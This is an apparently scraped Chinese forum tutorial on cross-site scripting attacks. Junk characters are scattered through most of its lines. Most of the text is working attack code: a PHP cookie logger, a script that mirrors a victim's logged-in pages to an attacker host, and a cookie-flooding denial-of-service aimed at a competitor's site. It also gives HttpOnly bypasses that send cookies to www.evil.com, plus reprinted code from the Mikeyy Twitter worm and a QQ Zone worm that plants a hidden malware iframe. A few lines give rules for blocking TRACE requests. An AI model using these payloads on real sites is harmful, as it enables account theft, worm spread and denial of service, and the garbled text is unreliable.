7 W! V g1 Q1 F* H5 ]% ]) Y1 a5 V alert(/ok/);
4 X, |% @0 m$ T% _* d# }+ @# ~. c
} % J" _8 K1 f; \3 b
4 B! k. F" O0 f+ d |; A0 J- l 9 x! L1 ?1 a; H( T
. f+ g! ~: |: \' b3 d5 xdoMyAjax('administrator','administrator@alibaba[1].txt');
( V' Z- h/ M: x# R# _7 t; w/ a9 E4 N0 V9 M8 g1 C
. S7 N8 e& X: U+ A! F' v8 [! ^! F
) s- q. E; m+ Y% R" }, H0 y% `</script>+ A2 z% G* R+ G! P" U( d9 F
* u6 m( I. M/ ]- ?8 j$ U
$ E r8 Z& h' t. [- ?# B! k1 `6 ~( V9 ~2 }8 @& q
$ {0 P) |7 {5 i# S% z
) u* k' M2 u. t* da.php
5 W. o$ m6 f+ I4 G" K( `% X8 W8 m4 c6 u; m3 }6 r) r# T% y
( T: p. k3 `/ s
$ N, R. _7 ~6 @3 R1 Y' u<?php - p! Y0 y3 u8 Z) ^
% T2 p" I$ f; P! ^ ) D) v7 R# h" C7 b! i, J7 h
/ w7 p. j) N- g' n2 T0 i3 c$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
( c' u4 Y$ X* ?" E* K9 o- C* @; u, {) H& ^
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; . X+ p1 ^& R' I5 ]
* G6 f6 x% C, F3 p
- \, _: c1 f& [) H9 \( W
; R+ ?2 M5 L! Q- ]: U& G
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 7 z7 J8 ` G0 u$ }) r) X7 V2 I
' W7 A' r( s, t5 X; x
fwrite($fp,$_GET["cookie"]);
; B( D( c& G+ I* P$ M+ b7 Y4 U) U4 M
& D4 a* A7 E% G- Q% C5 X( L8 mfclose($fp);
8 o S) ^% Q# o# U
' ?$ g: M/ e; O# o$ N2 c?> ( v3 P/ p8 D& p" O% V6 p; O3 P
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:: g, h+ ~. q/ j% u% n
2 U$ d* S( N* Q6 a- s7 C. t% K
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
6 Q4 [* Z4 y8 }7 {' c利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
2 c0 \& u6 V H+ B U% y
+ m7 Z0 W6 @6 a9 \代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);2 {8 e2 s- ^& M5 Z
- v, ^; d# z$ U! `0 A
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
) w/ I- E# Q" y
9 }6 Q2 Q- ^0 b% _% c0 X9 n//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
2 E$ v! n# C+ J
$ h5 t+ |+ \& f) O6 u4 }function getURL(s) {% \1 e* R; x! k! T2 A. g
4 D3 S/ ?# M" a9 x) _var image = new Image();0 W# A+ _7 }8 c# C8 n0 h
! o) R9 u6 d& A _image.style.width = 0;3 R/ J, h* `9 x3 B1 ]* ?) R, j
N2 v2 Q9 k0 X4 g$ A
image.style.height = 0;4 \6 {' n$ Q6 |& D8 c+ }) i/ W
. G: T8 t4 Z) rimage.src = s;
1 f/ l9 u6 f9 r9 u; i( M! T! V3 ?
}+ C/ u# R. W6 _
& L. f L$ ^4 k- f* z* ~getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);3 Q$ n, Z) o( @7 ? L
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.# m+ o3 S @3 |% C" F* p0 K
这里引用大风的一段简单代码:<script language="javascript">( N7 o& n8 ]# }5 }
0 U5 G3 g2 ?- D& t; f% e4 \. _+ x
var metastr = "AAAAAAAAAA"; // 10 A" P- Z' _8 u7 h6 c0 p# R
" G, I: |' @1 [) ~2 `) cvar str = "";* s% @1 x9 J6 b: \
: J' J8 V/ H- {2 r! m7 ]
while (str.length < 4000){
7 o8 p$ Y' s' O% g$ ?4 F2 N- B" h# W
str += metastr;$ n3 A) I9 ?+ j6 T2 t4 V
3 `8 D8 A, W. M}& r" T7 ]# K7 {
, P: I4 D1 ^. s5 _0 R9 `& Y
" v. F8 S- }4 X& @! D
! P6 u/ G; Z' U! V) B+ Gdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
3 d: Z1 o1 w% c; b# o
- T; |" v. v s/ z2 I4 |</script>- i: M9 w }$ F+ Q
- I( Z' e) V1 ]
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html4 \5 U. \, o/ q( H/ x
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
( `& Z1 S; N- yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150' O# E" d0 s$ `& U2 \" S! N4 l
0 l$ T, ^- ~# v+ W假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com., N# D/ A3 a- W$ O: N2 g( w1 `
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
% T0 m; i9 L. e" v8 j- `
# x* f" E) k0 W F9 e4 V3 Q4 D: M! O7 N+ S
! v* d$ | u6 k% N
6 z3 T' a% B7 F% z' g3 L h
j5 z' y. R' X K0 N
" i4 z* D; V6 w9 J- S(III) Http only bypass 与 补救对策:* x% x9 i/ m* q0 s
" B( l# K7 i- \什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.9 v5 c: Q# i. s" R
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
8 p" W7 \, u8 ~. z7 N) ?" O
( E: A- N) P# ~2 m* o+ e" Q+ N# a7 D<!--
" I5 g g' X; M0 @; f; T- F/ R( w' r( E
function normalCookie() {
: h+ e* N, w+ Y8 W6 d5 ~' t
[" ?4 c& }4 a$ T J7 S7 `/ `* Z3 Qdocument.cookie = "TheCookieName=CookieValue_httpOnly"; / r C- u8 o" s; p
* ]+ o5 e3 {4 i2 b) [' w1 halert(document.cookie);7 J# i1 n4 y; l6 a4 S
' `: v2 L- ^9 ]; T4 U
}1 T# H5 F9 G) n$ M0 R1 c* D
# d$ [* P. z0 E
7 K. U% y, H, V) W+ [7 J U6 @
7 R, [+ y5 k k& S( t
4 g" C' ~' {% ~6 E8 l
' T; R9 |4 Y4 @0 x% d3 v8 U- A2 `% p! u7 kfunction httpOnlyCookie() { 9 g- {1 \, q4 Z4 e3 P
" u$ }. {2 D4 ^document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; $ M, Z- M P1 Z0 J# `5 O
% }$ I5 w ^, V2 `% Dalert(document.cookie);}$ k5 R' @$ j6 x9 V. r3 m8 a+ n
6 C1 m! i* F4 Q( N* q4 u9 `
4 J. S6 S& @! H, s( T4 Y/ N
1 w# F: t) f P! N6 n
//-->3 {* G3 F- b6 {' B& c
# R) }6 n6 ?9 b+ Q) t' }! v</script>5 ^2 ?7 a3 f9 J: H( W& a8 W" v# ^
7 T+ F, r* K# I9 U7 F+ O7 A- t
; h9 N7 F* z+ P/ ~# G3 n0 C: w) ~# F" |0 f
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>6 ?$ R3 z' D$ Y
) H, h0 f+ n( k7 @- {( A<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
; e3 w8 V/ L2 y* x$ R9 z" Y, y复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
! o- O/ p& [3 @ ]( u; T
. M3 `3 l6 A3 n1 X+ T( {# ^. c5 b, o. Q# e/ p
9 y6 |/ _/ L2 Z u3 _var request = false;: I2 E( ?2 O r [! x2 H
7 |3 k3 J5 q2 ~" N3 E if(window.XMLHttpRequest) {' H, h+ B9 C1 g) E, d1 N p) B
~ M+ g- K) e request = new XMLHttpRequest();
/ j' J+ h. g3 `9 K1 l
$ Z5 `% i! Z$ i! d) i1 F6 s- m if(request.overrideMimeType) {
- r0 q3 T' @7 }& P) j; W& I4 [3 ~; m7 t, G2 `
request.overrideMimeType('text/xml');3 A- |' i3 v K0 @) N2 G; g
. K% E, v/ ]' a5 ?6 V }( D: X, S) P& j4 Q" S
) h) |; D0 L& n } else if(window.ActiveXObject) {5 p7 W, h# ~! v0 D+ W: }
! t( |% j n! w$ I# U0 N
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];: C- w" b0 M* {" L& y- C+ j
' Z' q+ i5 z) Y% F5 z9 o# f$ t
for(var i=0; i<versions.length; i++) {! R+ O% N6 q! U3 g, \& v- g3 L
! b8 n8 z' T9 F" G& x* S& p9 y
try {/ S/ @1 W }- Y6 j$ J4 O
: X2 ]9 Q0 v1 [* o5 o request = new ActiveXObject(versions);
4 g' P2 ^+ g* x0 A& P- n7 G
+ a. J5 J, `9 R9 l% a' y& A( z) b3 _ } catch(e) {}
# G- j9 c U/ r6 T! P- H
8 I/ h7 |) a G- i* ?% t7 R }0 {. W, J, {3 ]# r
0 L- @ {+ U& r, ?3 S
}
2 j x. e4 q/ J- n+ e \9 [, v
& i: u, p3 k* V! {% uxmlHttp=request;
% `, H6 _& T" ~4 ]
3 P# H/ }& l yxmlHttp.open("TRACE","http://www.vul.com",false);
: |7 M6 M0 K* y* N( M) ]+ u' S) r+ C% [. u! {
xmlHttp.send(null);/ h7 d3 x' d* W6 ^) t1 h2 v" m
* Y) I% t) Y- E/ I' u/ W
xmlDoc=xmlHttp.responseText;
+ h# E2 e' }/ T5 |2 E7 M9 u0 T, U$ ]9 Q8 N U1 s" w
alert(xmlDoc);+ s J g0 S8 n# a) {9 B* R) [
1 |6 K, [9 Q& |1 F/ K' o1 t</script>
* s/ i& I9 j8 P# o5 Y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
. p( L2 Z; i Z2 C! G' K) G' n8 E7 s6 P4 H. L# x7 a) j! G
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; b4 W C6 Q( ?7 c* Z, e. B
+ P% C& @+ H; r# ~3 IXmlHttp.open("GET","http://www.google.com",false);
0 F! Q4 h$ b& `! m2 t; p0 b2 T4 d) n3 ?# b
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");! D0 o, b$ b# J2 k+ r, D
) |5 O% c+ |- D1 B* Y Y
XmlHttp.send(null);
# @' L5 A$ X" O: L
! z* r3 f' q" D: C* H: zvar resource=xmlHttp.responseText
# d6 T" {5 o. E9 w7 C# v3 z
( j1 K1 L7 a6 ~3 `6 N; L5 e" K$ bresource.search(/cookies/);
# X' S! B( X) x/ u3 ]6 q- X5 n$ t) v/ D% K8 _
......................
( _# P9 A7 U ]* x. e# {/ ]0 g0 q: o9 i& @+ b3 X# |
</script>" ]& M1 t2 Y6 x, k5 Z, p+ r) {
0 R: r/ r$ D9 W+ P& P
! P. a% E: E4 t- n# u% F
. ?8 Z5 s/ J6 o; u
* ?" |3 m8 ^6 d
. @; P1 c* w% _3 O# I( ^8 I如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求) ?* V! Z6 P" a9 C
7 N# s+ A. g1 H1 |9 K[code]
" E# X! [& k$ R( U7 a* S
8 G1 a, F0 C w; y' zRewriteEngine On
! ]" v2 q, b, v O& ?/ o3 I' [4 y- z5 Y- h- ~$ {# Y4 A
RewriteCond %{REQUEST_METHOD} ^TRACE
% c& C% m0 T/ p, d
6 }: k8 _9 j. l8 g/ U2 J- nRewriteRule .* - [F]' x: E `% z& R7 E
6 D2 ?# j h9 i. }* P+ o
+ u$ i8 o; `7 R5 c
# M4 b7 ^2 k/ s2 E5 E M" o% ^Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 k" U0 W( D5 D* e. |8 `- F$ ^# D& F, k" w! P
acl TRACE method TRACE
1 Q. n8 B1 {$ Z- _! A" x* z b7 v: g/ H4 k; q( N/ j0 [. p
...6 P/ s1 S2 o5 p+ [6 ^9 @* H
8 [$ N6 G1 H: F$ J. o2 @; ^+ Y; |http_access deny TRACE
/ L0 U$ ~( t* M1 H( \; o复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
Z* {2 \5 E9 p: v/ D* i. O# O$ a, d
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");1 Z, L6 `% R, l. m; L( v
9 S n6 z; ~& N+ B1 Z8 e
XmlHttp.open("GET","http://www.google.com",false);
8 t) B; N; {1 K! h+ M# `4 W
; M+ K* \; ~: t/ }( U1 Y, @5 FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");8 d7 {% f" N& |8 C( t
/ ?/ V) b* F" e# G3 E. P
XmlHttp.send(null);
0 ~7 l( b/ {) c( p( j4 ?. X0 [; z9 c! w" G6 s. ^) T* }# ~" D$ K( O- p
</script>
Z' \! b' @ F& b复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>( j5 }+ A X9 @$ R0 D
0 i$ q4 K# L0 s# ~7 E* i3 g! G8 P
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# e7 \0 ^9 s0 {; I4 _) }
m$ a/ f: [0 Q; a6 a' @
+ S' H1 A+ R' F. b* a( F# s8 Y3 M
* D! G7 t% i7 @' O. VXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);% I* x t5 P6 F0 A
$ @; S% b' o8 L& D# h3 |% i* A6 T
XmlHttp.send(null);
' a z/ k+ n/ o. o, R# A" Z* n% F/ @
<script>/ C' C$ J! ~3 q) c4 Q
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
+ x3 I" N/ e+ w8 E5 K复制代码案例:Twitter 蠕蟲五度發威: h: p( }) u/ H
第一版:! ?2 }0 B/ C% s( z' G
下载 (5.1 KB)2 o8 x$ W8 l. t2 O3 A7 _
0 h' b3 ~4 S- M, s: E# Z: l( R) S6 天前 08:27
6 Q2 G. w5 s( r; h l/ `" F8 r! m9 L' |8 r; I: o/ h8 C
第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 9 ^; l u1 b( ^& R7 s8 c. _
! G, R! Y% u+ @: M3 Z
2. 8 a6 j) g6 v1 H* B7 N
7 W5 A+ P: f2 D: G 3. function XHConn(){
1 ?+ M" f2 m) H; Z! a F7 [8 c; c) v" a. E3 s3 k k
4. var _0x6687x2,_0x6687x3=false;
* a5 G: P7 m( P; T8 o' W$ V* _. s& I( s9 V8 I5 i
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ) H" a& Z( Q9 T
% [, v+ I. w1 T Y0 G1 X' F 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
; o1 y( i5 X3 e9 w2 i
$ T0 H! U$ h, k1 X# E 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
+ |$ ?5 O& r: l( v) f7 k6 u7 a' s$ G# @2 L$ R% R6 `2 M
8. catch(e) { _0x6687x2=false; }; }; };
. h3 ^: A+ u+ J @& t复制代码第六版: 1. function wait() { * s' D% J/ E$ {. \7 U
: E# ?! F1 l/ f r
2. var content = document.documentElement.innerHTML; i# c$ _+ e& \, D
; x7 E$ h! [5 E 3. var tmp_cookie=document.cookie; 9 O+ f7 d+ m2 T4 G; b
# f2 h$ T: p8 B3 q( N4 R 4. var tmp_posted=tmp_cookie.match(/posted/); 2 a5 Z" Y* `2 k V- c
# i- m A' G6 J" c
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
) _8 H" U( X% E, g7 ~
[1 y8 G' I& y+ N 6. var authtoken=authreg.exec(content); ' w* U2 _- l0 S7 }3 e
+ q2 X" ? B* v 7. var authtoken=authtoken[1]; ) l! a& G" G! U: u7 J5 R* a
7 \& |+ U$ [, M7 }5 c; O5 r
8. var randomUpdate= new Array(); 8 |5 P) A+ F [, k+ @9 [" x1 c
7 B8 m; H) t- R; H9 |1 g# Z
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
9 Z7 v$ G6 ^6 H# H
/ j# [4 Y# p9 \7 ~7 Z% c 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; $ b7 g+ I& w/ S6 _
1 E0 m) U% P- U; Y6 a C
11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
7 o" o; z1 K3 l3 c; c+ X5 j" O
9 H, c6 Z5 K+ ~ 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
! n+ o* c6 u7 U- K T6 |( x7 t2 t8 R
13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
& {5 K! C0 q2 O* a. U5 m2 W# i- S. `) r1 @: [/ X
14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
3 u2 x/ z' F8 k2 I) _ `
3 m" @7 n o6 A( l, ~# \6 O 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
) i v% ?: \+ u* T- J Y' Z
9 y2 }) ^, O4 o# s/ B 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; # Z/ n1 W: Y) x! y* t
- @' E- c% c# C0 J( v& Y 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; # P M- v- X4 r5 r/ y
2 a; G8 r3 a! x7 J* l9 }
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
1 O, s2 P, C' L
: W* V% N7 V; u, @ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 3 ? t7 F, |0 z# Q
6 E" A8 T: [3 E1 Z7 [9 z 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
4 ], d: U* m8 e- p% ?1 n
, f" U3 P# g$ z, e2 w+ l 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; 8 s% u2 W) ^5 y
( \3 Z- `+ u) z* z6 T' U 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; % E+ }) F. A! q; T8 m* V5 g
" U5 X% {, `( D( b) G7 ^% m 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
$ M+ z0 L, @/ T. s: W$ p( q) e l
24. ) j9 V3 c7 r' V1 \ s4 V1 `0 G
" l1 g2 O g& Q6 ~ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; 7 O! T Y6 ]9 T( E9 t; V
$ T7 z I1 w+ y" n' I. ^ 26. var updateEncode=urlencode(randomUpdate[genRand]);
" T# o5 ^) O' d
5 D! a7 D m" Q, p! o0 v3 L 27. $ @% j& q( J# x ]! [
. K( O6 h! t* P1 @; o# }8 i( p: x
28. var ajaxConn= new XHConn(); $ L- v1 \, J, j) [) M: t4 \8 K
# N( u5 i1 |( Z% p) r9 D, x* ?
29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
$ `) Q* `; ?. d3 j
1 I t$ R! ^$ A# {2 k: G- W 30. var _0xf81bx1c="Mikeyy"; * l7 o6 K* Z2 q5 I9 X
~" p2 _. m: ]
31. var updateEncode=urlencode(_0xf81bx1c);
% z. p2 o% _' j# w' a+ Y- f
. U o# H- v. w( m1 q 32. var ajaxConn1= new XHConn();
; f5 d7 a; z: u* x
; G, g- k, R' x' m 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); + v8 X/ u: t& h
7 C' [* S$ Q+ n5 w r! Z
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
, p. p9 j) X% }, a/ z* n- E- ^8 Y! l/ V7 f- j8 ]
35. var XSS=urlencode(genXSS); 2 z$ s5 k; x7 v3 d3 o% y
( b7 @4 ^/ [ I" r
36. var ajaxConn2= new XHConn();
% Q( ^9 y; f* y( U; A3 m2 [9 _7 x0 \% Q9 k( l# p% y: s5 |( T
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
7 f6 k# Z4 P$ e& W
, H3 ]& r; o7 z# X% g 38.
) e# G" ~, C7 }4 ~; a, {8 v c: a4 o* |8 j
39. } ;
& F7 b, R2 c9 O) u% Y. f+ O) E8 Q) J
40. setTimeout(wait(),5250);
* N7 Q9 m9 ^ a O1 j$ O复制代码QQ空间XSSfunction killErrors() {return true;}8 x1 r! H4 X7 _8 S* R
- K4 ~1 [) J, l# N2 G2 xwindow.onerror=killErrors;% L! c% c3 G m) O8 `3 C* D- t, J
/ w- a* }, ]4 r @" u
/ G1 r5 S9 e; L. ~9 x; f( \' p6 u8 E2 I4 g9 C
var shendu;shendu=4;
7 ~! c- p7 W" @1 W+ J J1 Y- J8 u* I) L
//---------------global---v------------------------------------------, z' s3 \ Z7 C; B) Z
- I) V) n" p; L
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?) S5 b+ x* g" h2 \" t
1 W: z. M+ W, E+ R8 H2 Y8 o0 S
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
" B4 Z: Y6 [+ N$ B* x6 s/ E- E7 o1 ^; J! q& `; N
var myblogurl=new Array();var myblogid=new Array();
6 q3 y3 U( H4 B/ [3 q k! H) ]1 e9 \; D0 N
7 p; Q0 ?1 y+ A8 u9 Z" @4 J var gurl=document.location.href;# }4 q% D2 @: @3 H$ r+ a, V( I
/ d5 L, T6 q& N: n var gurle=gurl.indexOf("com/");
V% z6 ]; F8 @4 M+ F5 l
& O# y3 P5 y& l3 i& ]% u+ I( f gurl=gurl.substring(0,gurle+3); / P4 n1 r9 C2 o5 g' H# I) s7 U
3 J/ u N8 H# j K+ I6 j
var visitorID=top.document.documentElement.outerHTML;
. r1 ]! i) c9 I' ?4 b8 X
0 D( K6 `: D6 m0 p' k% l- H var cookieS=visitorID.indexOf("g_iLoginUin = ");" v& _% R$ E9 t, z: x
" O) _& \5 y k; u! D4 ^/ K; [/ I
visitorID=visitorID.substring(cookieS+14);
$ y6 j+ A; J) ?7 N$ ?3 e1 \
+ t6 e9 X3 r/ g cookieS=visitorID.indexOf(",");5 `* E) i4 V; T' H( u- m. J
0 |/ V2 I% ~% w- e visitorID=visitorID.substring(0,cookieS);
+ y) O9 e; e+ W3 @) W0 ^5 g% c/ T/ O! _1 \5 x% e
get_my_blog(visitorID);
+ X' A8 ?$ I2 C& Y# f, L$ ]- k' o+ Q+ t0 X$ Z2 i9 A
DOshuamy(); B1 h/ h" j" a. w. D
: h: @: l2 ~: K+ p' ~: M* ?: L: e
$ p" f8 i7 L: @& R
7 R4 A' O, y8 k9 f//挂马1 i5 s, V$ o1 @; D" C S2 g
" y9 q# I4 M6 Zfunction DOshuamy(){
! \: \6 j- C2 Q
: D6 M8 u: C4 W, v+ wvar ssr=document.getElementById("veryTitle");' j5 d( U7 y& E2 n- s5 Y2 w
. [) w! u) t7 [4 Vssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");3 _+ e5 c4 N. M( ^
5 X! Q$ t3 |* ]8 R2 M7 u}
1 m# D# t$ w/ Q+ @2 _
" f3 W5 w; \: c, V1 }
1 D: v* t3 r, |( Q$ \+ x P4 A/ B9 |2 J; I$ @# q: t
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
$ a5 l0 x, |" R$ h5 g: c8 i, d2 L! N) M8 l
function get_my_blog(visitorID){8 m! ?, {. D+ C8 _
+ V D6 {$ m4 c- e, k" [
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
, z6 f* r; A: I
6 R* s: P V( |3 k I; k8 ^ xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象! a7 O' _/ j" ~2 d
5 ?, E5 Y- x- M+ O5 s if(xhr){ //成功就执行下面的
; Y- b: P' R, ^8 r" T p2 X2 E0 I* K! a
xhr.open("GET",userurl,false); //以GET方式打开定义的URL
) R' o$ T9 f7 q
% W! a6 |+ T- D/ [8 L- T& ^! x xhr.send();guest=xhr.responseText;
! {5 T) {' [3 U0 I
- w7 J" _9 ]. R1 ?) A get_my_blogurl(guest); //执行这个函数8 Y7 f: s" _: |" y# R
1 t5 \- ^* l( ?! V y3 Y; S% J2 T }& H7 F7 T; [# o; W
: C9 o- q$ W! [ H}
a; b: {* x: k; b2 v; X* ^+ }. }8 y* l3 v2 ~0 I, o7 X- {* s
( I" N A8 u% B4 U! f! k A
9 C( g) P+ m8 y5 {, h
//这里似乎是判断没有登录的
, T O `% \: M. F" v
/ w) s- G; F! ?( {9 hfunction get_my_blogurl(guest){
# c& w: A+ N E& Y
9 O, i7 D' v+ [( L var mybloglist=guest;0 a8 n( U. n* F. _/ j( h& I5 K5 |
7 j0 @! t- a( E3 M
var myurls;var blogids;var blogide;
; Q. K6 T3 e* U! n1 y
3 O( }7 \3 r/ \- O, f for(i=0;i<shendu;i++){. _! j R6 y. v8 N. J: X
4 l% K1 c" K0 V E& n. M# H: E/ X+ I myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
& ]3 u4 t- ^5 W
8 r5 @2 ^5 k, K* e1 [* C: y$ O- j if(myurls!=-1){ //找到了就执行下面的
- @1 L- T; v! Z7 L% _( P$ x h0 x5 i" z! R
mybloglist=mybloglist.substring(myurls+11);
' C' C$ Z9 g3 X' M2 {* n* N8 j* R& {) L
myurls=mybloglist.indexOf(')');
# P" A% m G g8 H: D& G) o' s# M, A4 p
myblogid=mybloglist.substring(0,myurls);+ ~* P9 M" S- c5 k2 V! H$ X, n
/ T: Y1 k) P% Y+ O) j! i
}else{break;}6 E! t" u* K7 |
c0 ^: [8 W' u% o+ ~; [}
* n7 }) E9 y* @( m& B' F0 e- m" M5 J6 c. w
get_my_testself(); //执行这个函数
9 y" u2 {; k9 M) R
) S) }$ Z1 V% Y# f/ |}- I7 p, W r5 m1 ]5 \/ W
9 g; h; |0 u% G+ [) |! ?3 y4 M% T" J& l) V$ n1 U& p% o
; U0 H" n7 r& q) n* I3 k! W2 q8 v
